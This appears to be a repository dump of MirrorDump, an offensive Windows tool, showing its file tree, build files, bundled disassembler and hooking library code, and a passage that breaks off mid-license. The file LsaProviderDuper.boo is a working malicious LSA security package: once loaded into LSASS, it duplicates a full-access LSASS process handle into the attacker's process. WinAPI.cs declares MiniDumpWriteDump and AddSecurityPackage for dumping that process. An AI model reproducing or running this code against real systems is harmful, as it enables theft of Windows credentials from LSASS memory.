├── MinHook.NET ├── SharpDisasm │ ├── Udis86 │ │ ├── OpTable1.cs │ │ ├── reg_class.cs │ │ ├── optable.xsl │ │ ├── ud_lookup_table_list_entry.cs │ │ ├── ud_itab_entry_operand.cs │ │ ├── ud_operand.cs │ │ ├── ud_lval.cs │ │ ├── ud_operand_code.cs │ │ ├── ud_itab_entry.cs │ │ ├── ud_operand_size.cs │ │ ├── ud.cs │ │ ├── ud_type.cs │ │ ├── BitOps.cs │ │ ├── syn.cs │ │ └── syn_intel.cs │ ├── ArchitectureMode.cs │ ├── Vendor.cs │ ├── IAssemblyCode.cs │ ├── Translators │ │ ├── SymbolResolverDelegate.cs │ │ └── IntelTranslator.cs │ ├── Helpers │ │ ├── AssemblyCode.cs │ │ ├── AssemblyCodeArray.cs │ │ ├── AssemblyCodeOffset.cs │ │ └── AssemblyCodeMemory.cs │ ├── SharpDisasm.csproj │ ├── Instruction.cs │ ├── Disassembler.cs │ └── Operand.cs ├── Hook.cs ├── HookEngine.cs ├── Utils.cs └── MemoryAllocator.cs ├── dnSpy.png ├── lib ├── booc.exe ├── booi.exe ├── Boo.Lang.dll ├── booish.exe ├── Boo.Lang.Parser.dll ├── Boo.Lang.Useful.dll ├── Boo.NAnt.Tasks.dll ├── Boo.Lang.CodeDom.dll ├── Boo.Lang.Compiler.dll ├── Boo.Lang.Extensions.dll ├── Boo.Lang.Interpreter.dll ├── Boo.Lang.PatternMatching.dll ├── Boo.Microsoft.Build.Tasks.dll ├── booc.exe.config ├── booi.exe.config ├── booish.exe.config └── Boo.Microsoft.Build.targets ├── FodyWeavers.xml ├── app.config ├── MirrorDump.sln ├── Lsa ├── LsaProviderDuper.boo ├── DllExportAttribute.cs └── LsaAssembly.cs ├── Properties └── AssemblyInfo.cs ├── WinAPI.cs ├── .gitattributes ├── ProcessUtility.cs ├── Program.cs ├── MirrorDump.csproj ├── MiniDump └── MiniDumpToMem.cs └── .gitignore /MinHook.NET/SharpDisasm/Udis86/OpTable1.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dnSpy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/dnSpy.png -------------------------------------------------------------------------------- /lib/booc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/booc.exe -------------------------------------------------------------------------------- /lib/booi.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/booi.exe -------------------------------------------------------------------------------- /lib/Boo.Lang.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.dll -------------------------------------------------------------------------------- /lib/booish.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/booish.exe -------------------------------------------------------------------------------- /lib/Boo.Lang.Parser.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.Parser.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.Useful.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.Useful.dll -------------------------------------------------------------------------------- /lib/Boo.NAnt.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.NAnt.Tasks.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.CodeDom.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.CodeDom.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.Compiler.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.Compiler.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.Extensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.Extensions.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.Interpreter.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.Interpreter.dll -------------------------------------------------------------------------------- /lib/Boo.Lang.PatternMatching.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Lang.PatternMatching.dll -------------------------------------------------------------------------------- /lib/Boo.Microsoft.Build.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CCob/MirrorDump/HEAD/lib/Boo.Microsoft.Build.Tasks.dll -------------------------------------------------------------------------------- /FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /lib/booc.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /lib/booi.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /lib/booish.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /MirrorDump.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31025.194 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MirrorDump", "MirrorDump.csproj", "{58338E42-6010-493C-B8C8-2FD2CFC30FFB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {58338E42-6010-493C-B8C8-2FD2CFC30FFB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {58338E42-6010-493C-B8C8-2FD2CFC30FFB}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {58338E42-6010-493C-B8C8-2FD2CFC30FFB}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {58338E42-6010-493C-B8C8-2FD2CFC30FFB}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {667A56CE-BD6D-449E-B728-FED42DEAE8EB} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Lsa/LsaProviderDuper.boo: -------------------------------------------------------------------------------- 1 | from System import IntPtr 2 | import System.Reflection 3 | import System.Runtime.InteropServices 4 | import MirrorDump 5 | 6 | [DllImport("kernel32.dll")] 7 | def DuplicateHandle(sourceProcess as IntPtr, sourceHandle as IntPtr, targetProcess as IntPtr, ref targetHandle as IntPtr, 8 | desiredAccess as uint, inherit as bool, options as uint) as bool: 9 | pass 10 | 11 | [DllImport("kernel32.dll")] 12 | def OpenProcess(processAccess as uint, inherit as bool, processId as int) as IntPtr: 13 | pass 14 | 15 | [DllImport("kernel32.dll")] 16 | def GetCurrentProcess() as IntPtr: 17 | pass 18 | 19 | [DllImport("kernel32.dll")] 20 | def CloseHandle(hObject as IntPtr) as bool: 21 | pass 22 | 23 | [DllExport] 24 | def SpLsaModeInitialize(LsaVersion as int, PackageVersion as IntPtr, ppTables as IntPtr, pcTables as IntPtr) as int: 25 | 26 | Marshal.WriteInt32(PackageVersion, 1); 27 | Marshal.WriteInt32(pcTables, 0); 28 | Marshal.WriteIntPtr(ppTables, IntPtr.Zero) 29 | 30 | handle = OpenProcess(0x40, true, {0}) 31 | targetHandle = IntPtr.Zero 32 | DuplicateHandle(GetCurrentProcess(),GetCurrentProcess(), handle, targetHandle, 0x1F0FFF, false, 1) 33 | CloseHandle(handle) 34 | 35 | return 0 -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("MiniDumpToMemSharp")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("MiniDumpToMemSharp")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("58338e42-6010-493c-b8c8-2fd2cfc30ffb")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/reg_class.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\reg_class.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | /// 46 | /// Register classes 47 | /// 48 | internal enum reg_class 49 | { 50 | REGCLASS_GPR, 51 | REGCLASS_MMX, 52 | REGCLASS_CR, 53 | REGCLASS_DB, 54 | REGCLASS_SEG, 55 | REGCLASS_XMM 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/optable.xsl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | x86 opcode table 7 | 30 | 31 | 32 | x86/optable.xml 33 | 34 | github.com/vmt/udis86 35 | 36 | 37 | Mnemonic 38 | Opcodes 39 | Vendor 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | ; 51 | ; 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | Copyright (c) 2008, Vivek Thampi 68 | 69 | 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /WinAPI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace MirrorDump { 5 | internal static class WinAPI { 6 | 7 | internal enum MINIDUMP_TYPE : uint { 8 | MiniDumpNormal, 9 | MiniDumpWithDataSegs, 10 | MiniDumpWithFullMemory, 11 | MiniDumpWithHandleData, 12 | MiniDumpFilterMemory, 13 | MiniDumpScanMemory, 14 | MiniDumpWithUnloadedModules, 15 | MiniDumpWithIndirectlyReferencedMemory, 16 | MiniDumpFilterModulePaths, 17 | MiniDumpWithProcessThreadData, 18 | MiniDumpWithPrivateReadWriteMemory, 19 | MiniDumpWithoutOptionalData, 20 | MiniDumpWithFullMemoryInfo, 21 | MiniDumpWithThreadInfo, 22 | MiniDumpWithCodeSegs, 23 | MiniDumpWithoutAuxiliaryState, 24 | MiniDumpWithFullAuxiliaryState, 25 | MiniDumpWithPrivateWriteCopyMemory, 26 | MiniDumpIgnoreInaccessibleMemory, 27 | MiniDumpWithTokenInformation, 28 | MiniDumpWithModuleHeaders, 29 | MiniDumpFilterTriage, 30 | MiniDumpWithAvxXStateContext, 31 | MiniDumpWithIptTrace, 32 | MiniDumpScanInaccessiblePartialPages, 33 | MiniDumpValidTypeFlags 34 | } 35 | 36 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] 37 | internal class SECURITY_PACKAGE_OPTIONS { 38 | public ulong Size; 39 | public ulong Type; 40 | public ulong Flags; 41 | public ulong SignatureSize; 42 | public IntPtr Signature; 43 | } 44 | 45 | internal static readonly uint ERROR_DISK_FULL = 0x70; 46 | 47 | [DllImport("Dbghelp.dll", SetLastError = true)] 48 | internal static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, MINIDUMP_TYPE DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); 49 | 50 | [DllImport("kernel32.dll", SetLastError = true)] 51 | internal static extern void SetLastError(uint dwErrorCode); 52 | 53 | [DllImport("kernel32.dll", SetLastError = true)] 54 | internal static extern bool CloseHandle(IntPtr hObject); 55 | 56 | [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] 57 | internal static extern uint AddSecurityPackage(string pszPackageName, SECURITY_PACKAGE_OPTIONS Options); 58 | 59 | [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] 60 | internal static extern uint DeleteSecurityPackage(string pszPackageName); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /MinHook.NET/Hook.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using static MinHook.Trampoline; 4 | using static MinHook.Utils; 5 | 6 | namespace MinHook { 7 | internal class Hook 8 | { 9 | public bool Enabled { get; private set; } = false; 10 | public bool QueueEnabled { get; private set; } = false; 11 | public IntPtr Original { get; private set; } 12 | 13 | Trampoline trampoline; 14 | 15 | public Hook(IntPtr target, IntPtr detour, MemorySlot memorySlot) { 16 | trampoline = new Trampoline(target, detour, memorySlot); 17 | Original = trampoline.Tramp; 18 | } 19 | 20 | public void Enable(bool enable = true) { 21 | 22 | MemoryProtection oldProtect; 23 | long patchSize = Marshal.SizeOf(typeof(JMPCALL_REL)); 24 | IntPtr patchTarget = trampoline.Target; 25 | 26 | if (trampoline.PatchAbove) { 27 | patchTarget = patchTarget - Marshal.SizeOf(typeof(JMPCALL_REL)); 28 | patchSize += Marshal.SizeOf(typeof(JMP_REL_SHORT)); 29 | } 30 | 31 | if(!VirtualProtect(patchTarget, (UIntPtr)patchSize, MemoryProtection.ExecuteReadWrite, out oldProtect)) { 32 | throw new Exception("Failed to change memory protection"); 33 | } 34 | 35 | if (enable) { 36 | 37 | JMPCALL_REL jmp = new JMPCALL_REL(0xE9); 38 | 39 | if (IntPtr.Size == 8) { 40 | long rel = ((long)trampoline.Relay - ((long)patchTarget + Marshal.SizeOf(jmp))); 41 | jmp.SetOperand((uint)rel); 42 | } else { 43 | jmp.SetOperand((uint)((ulong)trampoline.Detour - ((ulong)patchTarget + (ulong)Marshal.SizeOf(jmp)))); 44 | } 45 | 46 | Marshal.StructureToPtr(jmp, patchTarget, false); 47 | 48 | if (trampoline.PatchAbove) { 49 | JMP_REL_SHORT shortJmp = new JMP_REL_SHORT(0xEB, (byte)(0 - (Marshal.SizeOf(typeof(JMP_REL_SHORT)) + Marshal.SizeOf(jmp)))); 50 | Marshal.StructureToPtr(shortJmp, trampoline.Target, false); 51 | } 52 | } else { 53 | 54 | if (trampoline.PatchAbove) { 55 | Marshal.Copy(trampoline.Backup, 0, patchTarget, Marshal.SizeOf(typeof(JMPCALL_REL)) + Marshal.SizeOf(typeof(JMP_REL_SHORT))); 56 | } else { 57 | Marshal.Copy(trampoline.Backup, 0, patchTarget, Marshal.SizeOf(typeof(JMPCALL_REL))); 58 | } 59 | } 60 | 61 | VirtualProtect(patchTarget, (UIntPtr)patchSize, oldProtect, out _); 62 | 63 | //TODO: flush instruction cache 64 | Enabled = true; 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/ArchitectureMode.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\architecturemode.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm 44 | { 45 | /// 46 | /// The CPU architecture mode 47 | /// 48 | public enum ArchitectureMode 49 | { 50 | /// 51 | /// 16-bit 52 | /// 53 | x86_16 = 16, 54 | /// 55 | /// 32-bit 56 | /// 57 | x86_32 = 32, 58 | /// 59 | /// 64-bit 60 | /// 61 | x86_64 = 64 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Vendor.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\vendor.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm 43 | { 44 | /// 45 | /// Allows control over which vendor instructions should be disassembled 46 | /// 47 | public enum Vendor 48 | { 49 | /// 50 | /// Allow AMD instructions 51 | /// 52 | AMD = 0, 53 | /// 54 | /// Allow Intel instructions 55 | /// 56 | Intel = 1, 57 | /// 58 | /// Allow both AMD and Intel instructions 59 | /// 60 | Any = 2 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_lookup_table_list_entry.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_lookup_table_list_entry.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | public struct ud_lookup_table_list_entry 47 | { 48 | public ushort[] Table; 49 | public ud_table_type Type; 50 | public string Meta; 51 | 52 | public ud_lookup_table_list_entry(ushort[] table, ud_table_type type, string meta) 53 | { 54 | this.Table = table; 55 | this.Type = type; 56 | this.Meta = meta; 57 | } 58 | } 59 | #pragma warning restore 1591 60 | } 61 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_itab_entry_operand.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_itab_entry_operand.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF 